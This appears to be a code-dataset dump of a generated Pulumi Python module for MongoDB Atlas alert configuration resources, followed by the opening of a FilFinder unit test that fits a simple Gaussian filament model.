|
2020-04-28T19:12:30.000Z
|
2022-03-22T23:04:46.000Z
|
sdk/python/pulumi_mongodbatlas/alert_configuration.py
|
pulumi/pulumi-mongodbatlas
|
0d5c085dcfd871b56fb4cf582620260b70caa07a
|
[
"ECL-2.0",
"Apache-2.0"
] | 59
|
2020-06-12T12:12:52.000Z
|
2022-03-28T18:14:50.000Z
|
sdk/python/pulumi_mongodbatlas/alert_configuration.py
|
pulumi/pulumi-mongodbatlas
|
0d5c085dcfd871b56fb4cf582620260b70caa07a
|
[
"ECL-2.0",
"Apache-2.0"
] | 2
|
2020-09-25T21:22:08.000Z
|
2021-08-30T20:06:18.000Z
|
# coding=utf-8
# *** WARNING: this file was generated by the Pulumi Terraform Bridge (tfgen) Tool. ***
# *** Do not edit by hand unless you're certain you know what you are doing! ***
import warnings
import pulumi
import pulumi.runtime
from typing import Any, Mapping, Optional, Sequence, Union, overload
from . import _utilities
from . import outputs
from ._inputs import *
__all__ = ['AlertConfigurationArgs', 'AlertConfiguration']
@pulumi.input_type
class AlertConfigurationArgs:
def __init__(__self__, *,
event_type: pulumi.Input[str],
notifications: pulumi.Input[Sequence[pulumi.Input['AlertConfigurationNotificationArgs']]],
project_id: pulumi.Input[str],
enabled: Optional[pulumi.Input[bool]] = None,
matchers: Optional[pulumi.Input[Sequence[pulumi.Input['AlertConfigurationMatcherArgs']]]] = None,
metric_threshold: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]] = None,
metric_threshold_config: Optional[pulumi.Input['AlertConfigurationMetricThresholdConfigArgs']] = None,
threshold: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]] = None,
threshold_config: Optional[pulumi.Input['AlertConfigurationThresholdConfigArgs']] = None):
"""
The set of arguments for constructing a AlertConfiguration resource.
:param pulumi.Input[str] event_type: The type of event that will trigger an alert.
:param pulumi.Input[str] project_id: The ID of the project where the alert configuration will create.
:param pulumi.Input[bool] enabled: It is not required, but If the attribute is omitted, by default will be false, and the configuration would be disabled. You must set true to enable the configuration.
:param pulumi.Input[Mapping[str, pulumi.Input[str]]] threshold: Threshold value outside of which an alert will be triggered.
"""
pulumi.set(__self__, "event_type", event_type)
pulumi.set(__self__, "notifications", notifications)
pulumi.set(__self__, "project_id", project_id)
if enabled is not None:
pulumi.set(__self__, "enabled", enabled)
if matchers is not None:
pulumi.set(__self__, "matchers", matchers)
if metric_threshold is not None:
warnings.warn("""use metric_threshold_config instead""", DeprecationWarning)
pulumi.log.warn("""metric_threshold is deprecated: use metric_threshold_config instead""")
if metric_threshold is not None:
pulumi.set(__self__, "metric_threshold", metric_threshold)
if metric_threshold_config is not None:
pulumi.set(__self__, "metric_threshold_config", metric_threshold_config)
if threshold is not None:
warnings.warn("""use threshold_config instead""", DeprecationWarning)
pulumi.log.warn("""threshold is deprecated: use threshold_config instead""")
if threshold is not None:
pulumi.set(__self__, "threshold", threshold)
if threshold_config is not None:
pulumi.set(__self__, "threshold_config", threshold_config)
@property
@pulumi.getter(name="eventType")
def event_type(self) -> pulumi.Input[str]:
"""
The type of event that will trigger an alert.
"""
return pulumi.get(self, "event_type")
@event_type.setter
def event_type(self, value: pulumi.Input[str]):
pulumi.set(self, "event_type", value)
@property
@pulumi.getter
def notifications(self) -> pulumi.Input[Sequence[pulumi.Input['AlertConfigurationNotificationArgs']]]:
return pulumi.get(self, "notifications")
@notifications.setter
def notifications(self, value: pulumi.Input[Sequence[pulumi.Input['AlertConfigurationNotificationArgs']]]):
pulumi.set(self, "notifications", value)
@property
@pulumi.getter(name="projectId")
def project_id(self) -> pulumi.Input[str]:
"""
The ID of the project where the alert configuration will create.
"""
return pulumi.get(self, "project_id")
@project_id.setter
def project_id(self, value: pulumi.Input[str]):
pulumi.set(self, "project_id", value)
@property
@pulumi.getter
def enabled(self) -> Optional[pulumi.Input[bool]]:
"""
It is not required, but If the attribute is omitted, by default will be false, and the configuration would be disabled. You must set true to enable the configuration.
"""
return pulumi.get(self, "enabled")
@enabled.setter
def enabled(self, value: Optional[pulumi.Input[bool]]):
pulumi.set(self, "enabled", value)
@property
@pulumi.getter
def matchers(self) -> Optional[pulumi.Input[Sequence[pulumi.Input['AlertConfigurationMatcherArgs']]]]:
return pulumi.get(self, "matchers")
@matchers.setter
def matchers(self, value: Optional[pulumi.Input[Sequence[pulumi.Input['AlertConfigurationMatcherArgs']]]]):
pulumi.set(self, "matchers", value)
@property
@pulumi.getter(name="metricThreshold")
def metric_threshold(self) -> Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]]:
return pulumi.get(self, "metric_threshold")
@metric_threshold.setter
def metric_threshold(self, value: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]]):
pulumi.set(self, "metric_threshold", value)
@property
@pulumi.getter(name="metricThresholdConfig")
def metric_threshold_config(self) -> Optional[pulumi.Input['AlertConfigurationMetricThresholdConfigArgs']]:
return pulumi.get(self, "metric_threshold_config")
@metric_threshold_config.setter
def metric_threshold_config(self, value: Optional[pulumi.Input['AlertConfigurationMetricThresholdConfigArgs']]):
pulumi.set(self, "metric_threshold_config", value)
@property
@pulumi.getter
def threshold(self) -> Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]]:
"""
Threshold value outside of which an alert will be triggered.
"""
return pulumi.get(self, "threshold")
@threshold.setter
def threshold(self, value: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]]):
pulumi.set(self, "threshold", value)
@property
@pulumi.getter(name="thresholdConfig")
def threshold_config(self) -> Optional[pulumi.Input['AlertConfigurationThresholdConfigArgs']]:
return pulumi.get(self, "threshold_config")
@threshold_config.setter
def threshold_config(self, value: Optional[pulumi.Input['AlertConfigurationThresholdConfigArgs']]):
pulumi.set(self, "threshold_config", value)
@pulumi.input_type
class _AlertConfigurationState:
def __init__(__self__, *,
alert_configuration_id: Optional[pulumi.Input[str]] = None,
created: Optional[pulumi.Input[str]] = None,
enabled: Optional[pulumi.Input[bool]] = None,
event_type: Optional[pulumi.Input[str]] = None,
matchers: Optional[pulumi.Input[Sequence[pulumi.Input['AlertConfigurationMatcherArgs']]]] = None,
metric_threshold: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]] = None,
metric_threshold_config: Optional[pulumi.Input['AlertConfigurationMetricThresholdConfigArgs']] = None,
notifications: Optional[pulumi.Input[Sequence[pulumi.Input['AlertConfigurationNotificationArgs']]]] = None,
project_id: Optional[pulumi.Input[str]] = None,
threshold: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]] = None,
threshold_config: Optional[pulumi.Input['AlertConfigurationThresholdConfigArgs']] = None,
updated: Optional[pulumi.Input[str]] = None):
"""
Input properties used for looking up and filtering AlertConfiguration resources.
:param pulumi.Input[str] alert_configuration_id: Unique identifier for the alert configuration.
:param pulumi.Input[str] created: Timestamp in ISO 8601 date and time format in UTC when this alert configuration was created.
:param pulumi.Input[bool] enabled: It is not required, but If the attribute is omitted, by default will be false, and the configuration would be disabled. You must set true to enable the configuration.
:param pulumi.Input[str] event_type: The type of event that will trigger an alert.
:param pulumi.Input[str] project_id: The ID of the project where the alert configuration will create.
:param pulumi.Input[Mapping[str, pulumi.Input[str]]] threshold: Threshold value outside of which an alert will be triggered.
:param pulumi.Input[str] updated: Timestamp in ISO 8601 date and time format in UTC when this alert configuration was last updated.
"""
if alert_configuration_id is not None:
pulumi.set(__self__, "alert_configuration_id", alert_configuration_id)
if created is not None:
pulumi.set(__self__, "created", created)
if enabled is not None:
pulumi.set(__self__, "enabled", enabled)
if event_type is not None:
pulumi.set(__self__, "event_type", event_type)
if matchers is not None:
pulumi.set(__self__, "matchers", matchers)
if metric_threshold is not None:
warnings.warn("""use metric_threshold_config instead""", DeprecationWarning)
pulumi.log.warn("""metric_threshold is deprecated: use metric_threshold_config instead""")
if metric_threshold is not None:
pulumi.set(__self__, "metric_threshold", metric_threshold)
if metric_threshold_config is not None:
pulumi.set(__self__, "metric_threshold_config", metric_threshold_config)
if notifications is not None:
pulumi.set(__self__, "notifications", notifications)
if project_id is not None:
pulumi.set(__self__, "project_id", project_id)
if threshold is not None:
warnings.warn("""use threshold_config instead""", DeprecationWarning)
pulumi.log.warn("""threshold is deprecated: use threshold_config instead""")
if threshold is not None:
pulumi.set(__self__, "threshold", threshold)
if threshold_config is not None:
pulumi.set(__self__, "threshold_config", threshold_config)
if updated is not None:
pulumi.set(__self__, "updated", updated)
@property
@pulumi.getter(name="alertConfigurationId")
def alert_configuration_id(self) -> Optional[pulumi.Input[str]]:
"""
Unique identifier for the alert configuration.
"""
return pulumi.get(self, "alert_configuration_id")
@alert_configuration_id.setter
def alert_configuration_id(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "alert_configuration_id", value)
@property
@pulumi.getter
def created(self) -> Optional[pulumi.Input[str]]:
"""
Timestamp in ISO 8601 date and time format in UTC when this alert configuration was created.
"""
return pulumi.get(self, "created")
@created.setter
def created(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "created", value)
@property
@pulumi.getter
def enabled(self) -> Optional[pulumi.Input[bool]]:
"""
It is not required, but If the attribute is omitted, by default will be false, and the configuration would be disabled. You must set true to enable the configuration.
"""
return pulumi.get(self, "enabled")
@enabled.setter
def enabled(self, value: Optional[pulumi.Input[bool]]):
pulumi.set(self, "enabled", value)
@property
@pulumi.getter(name="eventType")
def event_type(self) -> Optional[pulumi.Input[str]]:
"""
The type of event that will trigger an alert.
"""
return pulumi.get(self, "event_type")
@event_type.setter
def event_type(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "event_type", value)
@property
@pulumi.getter
def matchers(self) -> Optional[pulumi.Input[Sequence[pulumi.Input['AlertConfigurationMatcherArgs']]]]:
return pulumi.get(self, "matchers")
@matchers.setter
def matchers(self, value: Optional[pulumi.Input[Sequence[pulumi.Input['AlertConfigurationMatcherArgs']]]]):
pulumi.set(self, "matchers", value)
@property
@pulumi.getter(name="metricThreshold")
def metric_threshold(self) -> Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]]:
return pulumi.get(self, "metric_threshold")
@metric_threshold.setter
def metric_threshold(self, value: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]]):
pulumi.set(self, "metric_threshold", value)
@property
@pulumi.getter(name="metricThresholdConfig")
def metric_threshold_config(self) -> Optional[pulumi.Input['AlertConfigurationMetricThresholdConfigArgs']]:
return pulumi.get(self, "metric_threshold_config")
@metric_threshold_config.setter
def metric_threshold_config(self, value: Optional[pulumi.Input['AlertConfigurationMetricThresholdConfigArgs']]):
pulumi.set(self, "metric_threshold_config", value)
@property
@pulumi.getter
def notifications(self) -> Optional[pulumi.Input[Sequence[pulumi.Input['AlertConfigurationNotificationArgs']]]]:
return pulumi.get(self, "notifications")
@notifications.setter
def notifications(self, value: Optional[pulumi.Input[Sequence[pulumi.Input['AlertConfigurationNotificationArgs']]]]):
pulumi.set(self, "notifications", value)
@property
@pulumi.getter(name="projectId")
def project_id(self) -> Optional[pulumi.Input[str]]:
"""
The ID of the project where the alert configuration will create.
"""
return pulumi.get(self, "project_id")
@project_id.setter
def project_id(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "project_id", value)
@property
@pulumi.getter
def threshold(self) -> Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]]:
"""
Threshold value outside of which an alert will be triggered.
"""
return pulumi.get(self, "threshold")
@threshold.setter
def threshold(self, value: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]]):
pulumi.set(self, "threshold", value)
@property
@pulumi.getter(name="thresholdConfig")
def threshold_config(self) -> Optional[pulumi.Input['AlertConfigurationThresholdConfigArgs']]:
return pulumi.get(self, "threshold_config")
@threshold_config.setter
def threshold_config(self, value: Optional[pulumi.Input['AlertConfigurationThresholdConfigArgs']]):
pulumi.set(self, "threshold_config", value)
@property
@pulumi.getter
def updated(self) -> Optional[pulumi.Input[str]]:
"""
Timestamp in ISO 8601 date and time format in UTC when this alert configuration was last updated.
"""
return pulumi.get(self, "updated")
@updated.setter
def updated(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "updated", value)
class AlertConfiguration(pulumi.CustomResource):
@overload
def __init__(__self__,
resource_name: str,
opts: Optional[pulumi.ResourceOptions] = None,
enabled: Optional[pulumi.Input[bool]] = None,
event_type: Optional[pulumi.Input[str]] = None,
matchers: Optional[pulumi.Input[Sequence[pulumi.Input[pulumi.InputType['AlertConfigurationMatcherArgs']]]]] = None,
metric_threshold: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]] = None,
metric_threshold_config: Optional[pulumi.Input[pulumi.InputType['AlertConfigurationMetricThresholdConfigArgs']]] = None,
notifications: Optional[pulumi.Input[Sequence[pulumi.Input[pulumi.InputType['AlertConfigurationNotificationArgs']]]]] = None,
project_id: Optional[pulumi.Input[str]] = None,
threshold: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]] = None,
threshold_config: Optional[pulumi.Input[pulumi.InputType['AlertConfigurationThresholdConfigArgs']]] = None,
__props__=None):
"""
`AlertConfiguration` provides an Alert Configuration resource to define the conditions that trigger an alert and the methods of notification within a MongoDB Atlas project.
> **NOTE:** Groups and projects are synonymous terms. You may find `groupId` in the official documentation.
## Example Usage
```python
import pulumi
import pulumi_mongodbatlas as mongodbatlas
test = mongodbatlas.AlertConfiguration("test",
enabled=True,
event_type="OUTSIDE_METRIC_THRESHOLD",
matchers=[mongodbatlas.AlertConfigurationMatcherArgs(
field_name="HOSTNAME_AND_PORT",
operator="EQUALS",
value="SECONDARY",
)],
metric_threshold_config=mongodbatlas.AlertConfigurationMetricThresholdConfigArgs(
metric_name="ASSERT_REGULAR",
mode="AVERAGE",
operator="LESS_THAN",
threshold=99,
units="RAW",
),
notifications=[mongodbatlas.AlertConfigurationNotificationArgs(
delay_min=0,
email_enabled=True,
interval_min=5,
roles=[
"GROUP_CHARTS_ADMIN",
"GROUP_CLUSTER_MANAGER",
],
sms_enabled=False,
type_name="GROUP",
)],
project_id="<PROJECT-ID>")
```
> **NOTE:** In order to allow for a fast pace of change to alert variables some validations have been removed from this resource in order to unblock alert creation. Impacted areas have links to the MongoDB Atlas API documentation so always check it for the most current information: https://docs.atlas.mongodb.com/reference/api/alert-configurations-create-config/
```python
import pulumi
import pulumi_mongodbatlas as mongodbatlas
test = mongodbatlas.AlertConfiguration("test",
enabled=True,
event_type="REPLICATION_OPLOG_WINDOW_RUNNING_OUT",
matchers=[mongodbatlas.AlertConfigurationMatcherArgs(
field_name="HOSTNAME_AND_PORT",
operator="EQUALS",
value="SECONDARY",
)],
notifications=[mongodbatlas.AlertConfigurationNotificationArgs(
delay_min=0,
email_enabled=True,
interval_min=5,
roles=[
"GROUP_CHARTS_ADMIN",
"GROUP_CLUSTER_MANAGER",
],
sms_enabled=False,
type_name="GROUP",
)],
project_id="<PROJECT-ID>",
threshold_config=mongodbatlas.AlertConfigurationThresholdConfigArgs(
operator="LESS_THAN",
threshold=1,
units="HOURS",
))
```
## Import
Alert Configuration can be imported using the `project_id-alert_configuration_id`, e.g.
```sh
$ pulumi import mongodbatlas:index/alertConfiguration:AlertConfiguration test 5d0f1f74cf09a29120e123cd-5d0f1f74cf09a29120e1fscg
```
For more information see[MongoDB Atlas API Reference.](https://docs.atlas.mongodb.com/reference/api/alert-configurations/)
:param str resource_name: The name of the resource.
:param pulumi.ResourceOptions opts: Options for the resource.
:param pulumi.Input[bool] enabled: It is not required, but If the attribute is omitted, by default will be false, and the configuration would be disabled. You must set true to enable the configuration.
:param pulumi.Input[str] event_type: The type of event that will trigger an alert.
:param pulumi.Input[str] project_id: The ID of the project where the alert configuration will create.
:param pulumi.Input[Mapping[str, pulumi.Input[str]]] threshold: Threshold value outside of which an alert will be triggered.
"""
...
@overload
def __init__(__self__,
resource_name: str,
args: AlertConfigurationArgs,
opts: Optional[pulumi.ResourceOptions] = None):
"""
`AlertConfiguration` provides an Alert Configuration resource to define the conditions that trigger an alert and the methods of notification within a MongoDB Atlas project.
> **NOTE:** Groups and projects are synonymous terms. You may find `groupId` in the official documentation.
## Example Usage
```python
import pulumi
import pulumi_mongodbatlas as mongodbatlas
test = mongodbatlas.AlertConfiguration("test",
enabled=True,
event_type="OUTSIDE_METRIC_THRESHOLD",
matchers=[mongodbatlas.AlertConfigurationMatcherArgs(
field_name="HOSTNAME_AND_PORT",
operator="EQUALS",
value="SECONDARY",
)],
metric_threshold_config=mongodbatlas.AlertConfigurationMetricThresholdConfigArgs(
metric_name="ASSERT_REGULAR",
mode="AVERAGE",
operator="LESS_THAN",
threshold=99,
units="RAW",
),
notifications=[mongodbatlas.AlertConfigurationNotificationArgs(
delay_min=0,
email_enabled=True,
interval_min=5,
roles=[
"GROUP_CHARTS_ADMIN",
"GROUP_CLUSTER_MANAGER",
],
sms_enabled=False,
type_name="GROUP",
)],
project_id="<PROJECT-ID>")
```
> **NOTE:** In order to allow for a fast pace of change to alert variables some validations have been removed from this resource in order to unblock alert creation. Impacted areas have links to the MongoDB Atlas API documentation so always check it for the most current information: https://docs.atlas.mongodb.com/reference/api/alert-configurations-create-config/
```python
import pulumi
import pulumi_mongodbatlas as mongodbatlas
test = mongodbatlas.AlertConfiguration("test",
enabled=True,
event_type="REPLICATION_OPLOG_WINDOW_RUNNING_OUT",
matchers=[mongodbatlas.AlertConfigurationMatcherArgs(
field_name="HOSTNAME_AND_PORT",
operator="EQUALS",
value="SECONDARY",
)],
notifications=[mongodbatlas.AlertConfigurationNotificationArgs(
delay_min=0,
email_enabled=True,
interval_min=5,
roles=[
"GROUP_CHARTS_ADMIN",
"GROUP_CLUSTER_MANAGER",
],
sms_enabled=False,
type_name="GROUP",
)],
project_id="<PROJECT-ID>",
threshold_config=mongodbatlas.AlertConfigurationThresholdConfigArgs(
operator="LESS_THAN",
threshold=1,
units="HOURS",
))
```
## Import
Alert Configuration can be imported using the `project_id-alert_configuration_id`, e.g.
```sh
$ pulumi import mongodbatlas:index/alertConfiguration:AlertConfiguration test 5d0f1f74cf09a29120e123cd-5d0f1f74cf09a29120e1fscg
```
For more information see[MongoDB Atlas API Reference.](https://docs.atlas.mongodb.com/reference/api/alert-configurations/)
:param str resource_name: The name of the resource.
:param AlertConfigurationArgs args: The arguments to use to populate this resource's properties.
:param pulumi.ResourceOptions opts: Options for the resource.
"""
...
def __init__(__self__, resource_name: str, *args, **kwargs):
resource_args, opts = _utilities.get_resource_args_opts(AlertConfigurationArgs, pulumi.ResourceOptions, *args, **kwargs)
if resource_args is not None:
__self__._internal_init(resource_name, opts, **resource_args.__dict__)
else:
__self__._internal_init(resource_name, *args, **kwargs)
def _internal_init(__self__,
resource_name: str,
opts: Optional[pulumi.ResourceOptions] = None,
enabled: Optional[pulumi.Input[bool]] = None,
event_type: Optional[pulumi.Input[str]] = None,
matchers: Optional[pulumi.Input[Sequence[pulumi.Input[pulumi.InputType['AlertConfigurationMatcherArgs']]]]] = None,
metric_threshold: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]] = None,
metric_threshold_config: Optional[pulumi.Input[pulumi.InputType['AlertConfigurationMetricThresholdConfigArgs']]] = None,
notifications: Optional[pulumi.Input[Sequence[pulumi.Input[pulumi.InputType['AlertConfigurationNotificationArgs']]]]] = None,
project_id: Optional[pulumi.Input[str]] = None,
threshold: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]] = None,
threshold_config: Optional[pulumi.Input[pulumi.InputType['AlertConfigurationThresholdConfigArgs']]] = None,
__props__=None):
if opts is None:
opts = pulumi.ResourceOptions()
if not isinstance(opts, pulumi.ResourceOptions):
raise TypeError('Expected resource options to be a ResourceOptions instance')
if opts.version is None:
opts.version = _utilities.get_version()
if opts.id is None:
if __props__ is not None:
raise TypeError('__props__ is only valid when passed in combination with a valid opts.id to get an existing resource')
__props__ = AlertConfigurationArgs.__new__(AlertConfigurationArgs)
__props__.__dict__["enabled"] = enabled
if event_type is None and not opts.urn:
raise TypeError("Missing required property 'event_type'")
__props__.__dict__["event_type"] = event_type
__props__.__dict__["matchers"] = matchers
if metric_threshold is not None and not opts.urn:
warnings.warn("""use metric_threshold_config instead""", DeprecationWarning)
pulumi.log.warn("""metric_threshold is deprecated: use metric_threshold_config instead""")
__props__.__dict__["metric_threshold"] = metric_threshold
__props__.__dict__["metric_threshold_config"] = metric_threshold_config
if notifications is None and not opts.urn:
raise TypeError("Missing required property 'notifications'")
__props__.__dict__["notifications"] = notifications
if project_id is None and not opts.urn:
raise TypeError("Missing required property 'project_id'")
__props__.__dict__["project_id"] = project_id
if threshold is not None and not opts.urn:
warnings.warn("""use threshold_config instead""", DeprecationWarning)
pulumi.log.warn("""threshold is deprecated: use threshold_config instead""")
__props__.__dict__["threshold"] = threshold
__props__.__dict__["threshold_config"] = threshold_config
__props__.__dict__["alert_configuration_id"] = None
__props__.__dict__["created"] = None
__props__.__dict__["updated"] = None
super(AlertConfiguration, __self__).__init__(
'mongodbatlas:index/alertConfiguration:AlertConfiguration',
resource_name,
__props__,
opts)
@staticmethod
def get(resource_name: str,
id: pulumi.Input[str],
opts: Optional[pulumi.ResourceOptions] = None,
alert_configuration_id: Optional[pulumi.Input[str]] = None,
created: Optional[pulumi.Input[str]] = None,
enabled: Optional[pulumi.Input[bool]] = None,
event_type: Optional[pulumi.Input[str]] = None,
matchers: Optional[pulumi.Input[Sequence[pulumi.Input[pulumi.InputType['AlertConfigurationMatcherArgs']]]]] = None,
metric_threshold: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]] = None,
metric_threshold_config: Optional[pulumi.Input[pulumi.InputType['AlertConfigurationMetricThresholdConfigArgs']]] = None,
notifications: Optional[pulumi.Input[Sequence[pulumi.Input[pulumi.InputType['AlertConfigurationNotificationArgs']]]]] = None,
project_id: Optional[pulumi.Input[str]] = None,
threshold: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]] = None,
threshold_config: Optional[pulumi.Input[pulumi.InputType['AlertConfigurationThresholdConfigArgs']]] = None,
updated: Optional[pulumi.Input[str]] = None) -> 'AlertConfiguration':
"""
Get an existing AlertConfiguration resource's state with the given name, id, and optional extra
properties used to qualify the lookup.
:param str resource_name: The unique name of the resulting resource.
:param pulumi.Input[str] id: The unique provider ID of the resource to lookup.
:param pulumi.ResourceOptions opts: Options for the resource.
:param pulumi.Input[str] alert_configuration_id: Unique identifier for the alert configuration.
:param pulumi.Input[str] created: Timestamp in ISO 8601 date and time format in UTC when this alert configuration was created.
:param pulumi.Input[bool] enabled: It is not required, but If the attribute is omitted, by default will be false, and the configuration would be disabled. You must set true to enable the configuration.
:param pulumi.Input[str] event_type: The type of event that will trigger an alert.
:param pulumi.Input[str] project_id: The ID of the project where the alert configuration will create.
:param pulumi.Input[Mapping[str, pulumi.Input[str]]] threshold: Threshold value outside of which an alert will be triggered.
:param pulumi.Input[str] updated: Timestamp in ISO 8601 date and time format in UTC when this alert configuration was last updated.
"""
opts = pulumi.ResourceOptions.merge(opts, pulumi.ResourceOptions(id=id))
__props__ = _AlertConfigurationState.__new__(_AlertConfigurationState)
__props__.__dict__["alert_configuration_id"] = alert_configuration_id
__props__.__dict__["created"] = created
__props__.__dict__["enabled"] = enabled
__props__.__dict__["event_type"] = event_type
__props__.__dict__["matchers"] = matchers
__props__.__dict__["metric_threshold"] = metric_threshold
__props__.__dict__["metric_threshold_config"] = metric_threshold_config
__props__.__dict__["notifications"] = notifications
__props__.__dict__["project_id"] = project_id
__props__.__dict__["threshold"] = threshold
__props__.__dict__["threshold_config"] = threshold_config
__props__.__dict__["updated"] = updated
return AlertConfiguration(resource_name, opts=opts, __props__=__props__)
@property
@pulumi.getter(name="alertConfigurationId")
def alert_configuration_id(self) -> pulumi.Output[str]:
"""
Unique identifier for the alert configuration.
"""
return pulumi.get(self, "alert_configuration_id")
@property
@pulumi.getter
def created(self) -> pulumi.Output[str]:
"""
Timestamp in ISO 8601 date and time format in UTC when this alert configuration was created.
"""
return pulumi.get(self, "created")
@property
@pulumi.getter
def enabled(self) -> pulumi.Output[bool]:
"""
It is not required, but If the attribute is omitted, by default will be false, and the configuration would be disabled. You must set true to enable the configuration.
"""
return pulumi.get(self, "enabled")
@property
@pulumi.getter(name="eventType")
def event_type(self) -> pulumi.Output[str]:
"""
The type of event that will trigger an alert.
"""
return pulumi.get(self, "event_type")
@property
@pulumi.getter
def matchers(self) -> pulumi.Output[Optional[Sequence['outputs.AlertConfigurationMatcher']]]:
return pulumi.get(self, "matchers")
@property
@pulumi.getter(name="metricThreshold")
def metric_threshold(self) -> pulumi.Output[Optional[Mapping[str, str]]]:
return pulumi.get(self, "metric_threshold")
@property
@pulumi.getter(name="metricThresholdConfig")
def metric_threshold_config(self) -> pulumi.Output[Optional['outputs.AlertConfigurationMetricThresholdConfig']]:
return pulumi.get(self, "metric_threshold_config")
@property
@pulumi.getter
def notifications(self) -> pulumi.Output[Sequence['outputs.AlertConfigurationNotification']]:
return pulumi.get(self, "notifications")
@property
@pulumi.getter(name="projectId")
def project_id(self) -> pulumi.Output[str]:
"""
The ID of the project where the alert configuration will create.
"""
return pulumi.get(self, "project_id")
@property
@pulumi.getter
def threshold(self) -> pulumi.Output[Optional[Mapping[str, str]]]:
"""
Threshold value outside of which an alert will be triggered.
"""
return pulumi.get(self, "threshold")
@property
@pulumi.getter(name="thresholdConfig")
def threshold_config(self) -> pulumi.Output[Optional['outputs.AlertConfigurationThresholdConfig']]:
return pulumi.get(self, "threshold_config")
@property
@pulumi.getter
def updated(self) -> pulumi.Output[str]:
"""
Timestamp in ISO 8601 date and time format in UTC when this alert configuration was last updated.
"""
return pulumi.get(self, "updated")
| 47.541322
| 371
| 0.66038
| 3,661
| 34,515
| 6.022671
| 0.077301
| 0.079323
| 0.072384
| 0.028437
| 0.894825
| 0.880357
| 0.84988
| 0.828337
| 0.816862
| 0.800263
| 0
| 0.003932
| 0.241084
| 34,515
| 725
| 372
| 47.606897
| 0.837825
| 0.312676
| 0
| 0.72449
| 1
| 0
| 0.176481
| 0.094514
| 0
| 0
| 0
| 0
| 0
| 1
| 0.155612
| false
| 0.002551
| 0.017857
| 0.038265
| 0.267857
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
2907deb585f1ee3a32f2c81c6a62f0ba6a29fbf9
| 29,169
|
py
|
Python
|
fil_finder/tests/test_whole_simplefilament.py
|
ShanghuoLi/e-koch-FilFinder
|
81b6012fc81b3bacbea24b4668cc3e75fa7dd637
|
[
"MIT"
] | null | null | null |
fil_finder/tests/test_whole_simplefilament.py
|
ShanghuoLi/e-koch-FilFinder
|
81b6012fc81b3bacbea24b4668cc3e75fa7dd637
|
[
"MIT"
] | null | null | null |
fil_finder/tests/test_whole_simplefilament.py
|
ShanghuoLi/e-koch-FilFinder
|
81b6012fc81b3bacbea24b4668cc3e75fa7dd637
|
[
"MIT"
] | null | null | null |
# Licensed under an MIT open source license - see LICENSE
import pytest
import numpy as np
import numpy.testing as npt
import astropy.units as u
import os
from .. import fil_finder_2D, FilFinder2D
from .testing_utils import generate_filament_model
def test_simple_filament_compareold():
'''
Check the outputs using a simple straight filament with a Gaussian profile.
'''
mod = generate_filament_model(return_hdu=True, pad_size=30, shape=150,
width=10., background=0.1)[0]
mask = mod.data > 0.5
test = FilFinder2D(mod, distance=250 * u.pc, mask=mask,
save_name='test1')
test.preprocess_image(flatten_percent=85)
test.create_mask(border_masking=True, verbose=False,
use_existing_mask=True)
test.medskel(verbose=False)
test.analyze_skeletons()
test.find_widths(auto_cut=False, max_dist=30 * u.pix)
test.exec_rht(branches=False)
test.exec_rht(branches=True)
# Should be oriented along the x-axis. Set to be pi/2.
npt.assert_allclose(np.pi / 2., test.orientation[0].value)
npt.assert_allclose(np.pi / 2., test.orientation_branches[0][0].value)
fil1 = test.filaments[0]
test1_old = fil_finder_2D(mod,
flatten_thresh=85,
distance=250 * u.pc,
glob_thresh=0, save_name="test1_old",
skeleton_pad_size=30,
mask=mask)
test1_old.create_mask(border_masking=False, use_existing_mask=True)
test1_old.medskel()
test1_old.analyze_skeletons()
test1_old.find_widths(auto_cut=False, verbose=False, max_distance=0.3,
try_nonparam=False)
# Compare lengths
# Straight skeleton, so length is sum minus 1. Then add the FWHM width on
# Beam is set to 3 pixels FWHM, so deconvolve before adding
exp_length = (test.skeleton.sum() - 1) + np.sqrt(10**2 - 3**2) * 2.35
old_length = test1_old.lengths[0] / test1_old.imgscale
new_length = test.lengths()[0].value
# Require the length be within half the beam.
npt.assert_allclose(exp_length, old_length, atol=1.5)
npt.assert_allclose(exp_length, new_length, atol=1.5)
# Now compare the widths
# Expected profile properties
exp_pars = [1.1, 10.0, 0.1, np.sqrt(10**2 - 3**2) * 2.35]
old_pars = test1_old.width_fits['Parameters'][0]
# Convert widths into pix units
old_pars[1] = old_pars[1] / test1_old.imgscale
old_pars[-1] = old_pars[-1] / test1_old.imgscale
new_pars = [par.value for par in fil1.radprof_params] + \
[fil1.radprof_fwhm()[0].value]
# The new modeling correctly separates the Gaussian and bkg.
# Add the bkg to the amplitude
new_pars[0] += new_pars[2]
npt.assert_allclose(exp_pars, old_pars, rtol=0.05)
npt.assert_allclose(exp_pars, new_pars, rtol=0.05)
# Test the non-param fitting in the new code
test.find_widths(auto_cut=False, max_dist=30 * u.pix,
fit_model='nonparam')
new_pars = [par.value for par in fil1.radprof_params]
# There's a larger discrepancy compared with the Gaussian model
npt.assert_allclose(exp_pars[:-1], new_pars, rtol=0.2)
# Use the Gaussian fit for the model comparisons below.
